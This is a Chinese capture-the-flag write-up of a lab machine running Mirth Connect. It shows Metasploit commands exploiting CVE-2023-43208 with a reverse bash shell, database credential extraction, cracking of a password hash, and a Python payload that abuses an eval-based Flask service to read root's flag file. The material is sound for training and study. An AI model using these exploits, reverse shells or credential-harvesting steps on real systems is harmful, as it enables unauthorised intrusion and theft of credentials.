Linux机器,22 80 443 端口,其实还有一个神秘的6661端口,测半天不知道干嘛的

资产是Mirth Connect,下面这个什么2021 的就感觉应该是有现成的CVE ,找了一下就俩CVE-2023-43208 和 CVE-2023-37679

CVE-2023-43208

找到exp

https://github.com/jakabakos/CVE-2023-43208-mirth-connect-rce-poc/tree/master

我用这里面的探测脚本发现版本是4.4.0 有CVE-2023-43208 ,不过用这个exp的时候发现死活不行,看了下poc发现可能是上线命令复杂的原因?后面懒得折腾就试了试MSF

msfconsole
use exploit/multi/http/mirth_connect_cve_2023_43208
set RHOSTS 10.129.x.x
set RPORT 443
set LHOST 10.10.x.x
set LPORT 1234
set payload cmd/unix/reverse_bash 
run


python3 -c 'import pty; pty.spawn("/bin/bash")'  //升级成可交互式shell
这里额外设置payload为cmd/unix/reverse_bash是因为,默认的cmd/linux/http/x64/meterpreter/reverse_tcp很复杂,虽然说能够实现可交互式多功能的shell,但是需要先curl/wget 下载恶意文件执行。如果靶机不支持某些命令或者其他乱七八遭的问题就容易失败,直接反弹shell成功率高一点

然后手动上线到vshell看看

数据库找凭据

执行ss -tuln 发现有3306端口mysql数据库

记住弹shell过来的目录是/usr/local/mirthconnect/

找到conf目录,里面的mirth.properties 有数据库的账号密码

mysql -u mirthdb -p
MirthPass123!

这里说一下这种mysql该怎么便捷的找

SHOW DATABASES;
USE mc_bdd_prod;
SHOW TABLES;
select * from PERSON_PASSWORD
select * from PERSON;
u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==

这里只有一个用户,而且查看/home 下也就是这个用户

Mirth Connect密码爆破

中文有时候根本搜不到这个东西的密码加密策略,直接English

AI直接告诉我了,可以找到hashcat的10900模式

这里组装一下,这个数据base64解码后再to hex有80个字符

前16个字符是随机的8字符做盐的,from hex 再base64加密一下

剩下的64字符就是哈希了,同样的操作

组合一下

sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=
hashcat -m 10900 hash /usr/share/wordlists/rockyou.txt 
snowflake1

user.txt

ssh sedric@interpreter.htb
snowflake1

cat ~/user.txt

提权

sudo命令直接没有,执行ss -tuln 发现神秘54321端口,不过没查出来是什么进程开的

这边最后是看后台所有进程,发现root用户执行了一个python脚本

ps aux
#!/usr/bin/env python3
"""
Notification server for added patients.
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
"""
from flask import Flask, request, abort
import re
import uuid
from datetime import datetime
import xml.etree.ElementTree as ET, os

app = Flask(__name__)
USER_DIR = "/var/secure-health/patients/"; os.makedirs(USER_DIR, exist_ok=True)

def template(first, last, sender, ts, dob, gender):
    pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
    for s in [first, last, sender, ts, dob, gender]:
        if not pattern.fullmatch(s):
            return "[INVALID_INPUT]"
    # DOB format is DD/MM/YYYY
    try:
        year_of_birth = int(dob.split('/')[-1])
        if year_of_birth < 1900 or year_of_birth > datetime.now().year:
            return "[INVALID_DOB]"
    except:
        return "[INVALID_DOB]"
    template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
    try:
        return eval(f"f'''{template}'''")
    except Exception as e:
        return f"[EVAL_ERROR] {e}"

@app.route("/addPatient", methods=["POST"])
def receive():
    if request.remote_addr != "127.0.0.1":
        abort(403)
    try:
        xml_text = request.data.decode()
        xml_root = ET.fromstring(xml_text)
    except ET.ParseError:
        return "XML ERROR\n", 400
    patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient")
    if patient is None:
        return "No <patient> tag found\n", 400
    id = uuid.uuid4().hex
    data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
    notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
    path = os.path.join(USER_DIR,f"{id}.txt")
    with open(path,"w") as f:
        f.write(notification+"\n")
    return notification

if __name__=="__main__":
    app.run("127.0.0.1",54321, threaded=True)

这里是开启一个flask 54321端口,然后接收一个xml文件数据并处理,不过这里用了eval

root.txt

所以这里打算直接python3发包把/root/root.txt读出来,直接执行

python3 - << 'EOF'
import urllib.request
url = "http://127.0.0.1:54321/addPatient"
xml = b"""
<patient>
  <firstname>{open('/root/root.txt').read()}</firstname>
  <lastname>x</lastname>
  <sender_app>mirth</sender_app>
  <timestamp>12345</timestamp>
  <birth_date>01/01/2000</birth_date>
  <gender>M</gender>
</patient>
"""
req = urllib.request.Request(url, data=xml, method="POST",headers={"Content-Type":"application/xml"})
response = urllib.request.urlopen(req)
print(response.read().decode())
EOF